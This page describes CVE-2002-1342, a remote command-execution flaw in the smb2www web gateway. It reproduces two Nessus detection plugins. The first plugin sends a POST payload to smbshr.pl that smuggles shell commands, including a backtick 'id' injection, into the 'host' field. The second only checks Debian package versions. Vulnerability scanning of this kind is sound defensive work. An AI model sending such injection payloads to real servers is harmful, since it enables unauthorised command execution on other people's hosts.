Vulnerabilities > CVE-2002-1342 - Remote Command Execution vulnerability in SMB2WWW

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
smb2www
nessus

Summary

Unknown vulnerability in smb2www 980804-16 and earlier allows remote attackers to execute arbitrary commands.

Nessus

  • NASL familyCGI abuses
    NASL idSMB2WWW_CMD_EXEC.NASL
    descriptionThe remote host is running smb2www - a SMB to WWW gateway. There is a flaw in the version of this CGI which allows anyone to execute arbitrary commands on this host by sending a malformed argument to smbshr.pl, one of the components of this solution.
    last seen2020-06-01
    modified2020-06-02
    plugin id11375
    published2003-03-13
    reporterThis script is Copyright (C) 2003-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/11375
    titlesmb2www Unspecified Arbitrary Remote Command Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    
    include("compat.inc");
    
    if(description)
    {
     script_id(11375);
     script_version("1.18");
     script_cve_id("CVE-2002-1342");
     script_bugtraq_id(6313);
     
     script_name(english: "smb2www Unspecified Arbitrary Remote Command Execution");
     
     script_set_attribute(attribute:"synopsis", value:
    "Arbitrary commands can be run on the remote server." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running smb2www - a SMB to WWW gateway.
    
    There is a flaw in the version of this CGI which allows
    anyone to execute arbitrary commands on this host by
    sending a malformed argument to smbshr.pl, one of the components
    of this solution." );
     script_set_attribute(attribute:"solution", value:
    "Upgrade to the latest version." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
     script_set_attribute(attribute:"exploit_available", value:"false");
    
     script_set_attribute(attribute:"plugin_publication_date", value: "2003/03/13");
     script_set_attribute(attribute:"vuln_publication_date", value: "2002/12/04");
     script_cvs_date("Date: 2018/07/27 18:38:14");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_end_attributes();
    
     script_summary(english: "smb2www Command Execution");
     script_category(ACT_GATHER_INFO);
     script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
     script_family(english: "CGI abuses");
     script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
     script_require_ports("Services/www", 80);
     script_exclude_keys("Settings/disable_cgi_scanning");
     exit(0);
    }
    
    # Check starts here
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    port = get_http_port(default:80);
    
    if(!get_port_state(port))exit(0);
    
    arg = "host=%22%20%2DFOOBAR%7Cecho%20%22%20Sharename%22%0Aecho%0Aecho%20%22%20%20SomeShare%20%20Disk%20%22%60id%60%20%23%22";
    
    
    dirs = make_list("/samba");
    
    foreach d (cgi_dirs())
    { 
     dirs = make_list(dirs, d, string(d, "/samba"));
    }
    
    foreach d (dirs)
    {
     r = http_send_recv3(port: port, method: 'POST', 
       item: strcat(d, "/smbshr.pl"), data: arg);
     if (isnull(r)) exit(0);
     
     if (egrep(pattern: "uid=[0-9].* gid=[0-9]", string: r[2]))
    	{
     	security_hole(port);
    	exit(0);
    	}
    }
    
    
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-203.NASL
    descriptionRobert Luberda found a security problem in smb2www, a Windows Network client that is accessible through a web browser. This could lead a remote attacker to execute arbitrary programs under the user id www-data on the host where smb2www is running.
    last seen2020-06-01
    modified2020-06-02
    plugin id15040
    published2004-09-29
    reporterThis script is Copyright (C) 2004-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/15040
    titleDebian DSA-203-1 : smb2www - arbitrary command execution
    code
    #%NASL_MIN_LEVEL 80502
    
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-203. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(15040);
      script_version("1.19");
      script_cvs_date("Date: 2019/08/02 13:32:17");
    
      script_cve_id("CVE-2002-1342");
      script_xref(name:"DSA", value:"203");
    
      script_name(english:"Debian DSA-203-1 : smb2www - arbitrary command execution");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Robert Luberda found a security problem in smb2www, a Windows Network
    client that is accessible through a web browser. This could lead a
    remote attacker to execute arbitrary programs under the user id
    www-data on the host where smb2www is running."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.debian.org/security/2002/dsa-203"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the smb2www package immediately.
    
    This problem has been fixed in version 980804-16.1 for the current
    stable distribution (woody), in version 980804-8.1 of the old stable
    distribution (potato) and in version 980804-17 for the unstable
    distribution (sid)."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:smb2www");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:2.2");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2002/12/04");
      script_set_attribute(attribute:"plugin_publication_date", value:"2004/09/29");
      script_set_attribute(attribute:"vuln_publication_date", value:"2002/12/04");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2004-2019 Tenable Network Security, Inc.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"2.2", prefix:"smb2www", reference:"980804-8.1")) flag++;
    if (deb_check(release:"3.0", prefix:"smb2www", reference:"980804-16.1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");